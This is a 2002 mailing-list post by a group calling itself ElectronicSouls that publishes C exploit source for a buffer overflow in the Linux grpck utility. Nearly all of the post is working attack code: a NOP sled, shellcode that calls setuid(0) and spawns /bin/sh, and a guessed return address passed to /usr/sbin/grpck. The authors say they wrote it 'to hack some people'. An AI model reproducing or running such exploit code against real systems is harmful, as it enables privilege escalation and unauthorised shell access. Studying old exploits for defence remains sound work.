[ElectronicSouls] - grpck exploit

[es () hush com]

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Dear List,

Originally we wrote this to hack some people, and then we learned about
Unix permissions and realized it wasn't going to get us anywhere.  Now
we offer it up to you so that you can too learn.

# cat ES-grpck-xp.c
/*

  !! PRIVATE - DO NOT DISTRIBUTE !!
  PROPERTY OF THE [ElectronicSouls]

  proof-of-concept-code
 Discovered by BrainStorm (thx 0x90 for the help)

  vulnerable binary: grpck on x86Linux

  Well, nothing special and not even suid on most systems,
  but anyway its fun to work on stuff like this =]


    ( ( E l e c t r o n i c - S o u l s ) )

   p r o o f - o f - c o n c e p t - c o d e

  shoutz: 0x7f - XOR Team - IC - ADM - Raza Mexicana

  */

#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <strings.h>

#define BUFFER_SIZE   2188
#define ALIGN         0
#define OFFSET        0

char shell[] =
"\x31\xdb\x89\xd8\xb0\x17\xcd\x80"
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c"
"\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb"
"\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh";

unsigned long get_sp(void)

{
 __asm__("movl %esp, %eax");
}

int main(int argc, char **argv) {

  int bsize  = BUFFER_SIZE;
  int offset = OFFSET;
  int align  = ALIGN;

  unsigned long addr;
  char *cod;
  int i;

  if(argc > 1) offset = atoi(argv[1]);
  if(argc > 2) align = atoi(argv[2]);
  if(argc > 3) bsize = atoi(argv[3]);
  if (bsize % 4 != 0) {

  bsize = bsize + 4 - (bsize % 4); }
  cod  = (char *)malloc(bsize);
  addr  = get_sp() - offset;

  fprintf(stderr, "\n  ( ( E l e c t r o n i c - S o u l s ) ) \n\n");
  fprintf(stderr, " p r o o f - o f - c o n c e p t - c o d e \n");
  fprintf(stderr, " binary: grpck - Using address: 0x%x\n\n", addr);
  fprintf(stderr, "             - BrainStorm - \n");

  for(i = 0; i < bsize; i++) {
  *(long *)&cod[i] = 0x90909090;}
  *(long *)&cod[bsize - 4] = addr;
  memcpy(cod + bsize - strlen(shell) - 8 - align, shell, strlen(shell));
  execl("/usr/sbin/grpck", "grpck", cod, NULL);

return 0;
}


#

The Electronic Souls Crew
[ElectronicSouls] (c) 2002

"Contains Yellow5."
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